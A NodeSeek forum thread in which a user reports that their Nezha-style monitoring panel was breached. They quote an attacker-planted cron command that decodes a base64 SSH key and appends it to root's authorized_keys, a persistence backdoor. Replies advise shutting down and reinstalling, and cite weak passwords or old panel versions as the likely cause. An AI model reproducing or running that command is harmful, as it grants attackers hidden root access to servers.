2. NodeSeek
  3. 监控面板被黑了，要怎么补救啊！！

监控面板被黑了，要怎么补救啊！！

rodingbaba 2026-06-15 12:10 1


其中一个定时任务

mkdir -p /root/.ssh && chmod 700 /root/.ssh && K="$(echo c3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSU1NRHhObGlMQVIxbExwNWtveE1IUXRkQ04wY05yVjlIUWJ0emFEZk51OEogZ2FyeUBnYXJ5|base64 -d)" && grep -qxF "$K" /root/.ssh/authorized_keys 2>/dev/null || printf "\n%s\n" "$K" >> /root/.ssh/authorized_keys && chmod 600 /root/.ssh/authorized_keys


家里面的路由器也中招了，各位大佬给下意见，不会要全部机器重置吧，啊啊啊。

最新回复 (15)
  • cnblackhole 06-15 12:12
    1楼

    与其干等解决办法，不如直接重置，重置解决100%问题

  • mjj终结者 06-15 12:12
    2楼

    重装

  • 燦丶 06-15 12:13
    3楼

    直接内网搞探针走tailscale，自己看安全又放心.

  • sduoduo 06-15 12:20
    4楼

    先关机

  • aseenm 06-15 14:55
    5楼

    先关机

  • 楼主 06-15 15:45
    6楼

    ^-^

  • yhj945 06-15 16:11
    7楼

    这是全部机器都植入了吧，难搞，估计全部重装才是最稳的方法了

  • pan1 06-15 16:12
    8楼

    怎么被黑的？

    弱密码？

  • wereiyou 06-15 16:14
    9楼

    换台新服务器试试呢

  • 辟支独绝 06-15 16:14
    10楼

    盲猜 哪吒 ^-^

  • rodingbaba 楼主 06-15 18:26
    11楼

    应该是管理面板弱密码，加上域名有nezha前缀。哎，只能全部重装，不要探针了。

  • oneyacom 06-15 18:27
    12楼

    探针就要有探针的命啊，不要开高危权限

  • ponyo 06-15 18:28
    13楼

    先关机

  • ju0594 06-15 18:31
    14楼

    @rodingbaba #11 你的哪吒版本是多少？旧版本有漏洞 https://www.nodeseek.com/post-766772-1

  • http401 06-15 18:37
    15楼

    都被黑了 只能重装了吧 或者喂给ai看看

* 帖子来源NodeSeek
附近帖子
返回
飞读
随机推荐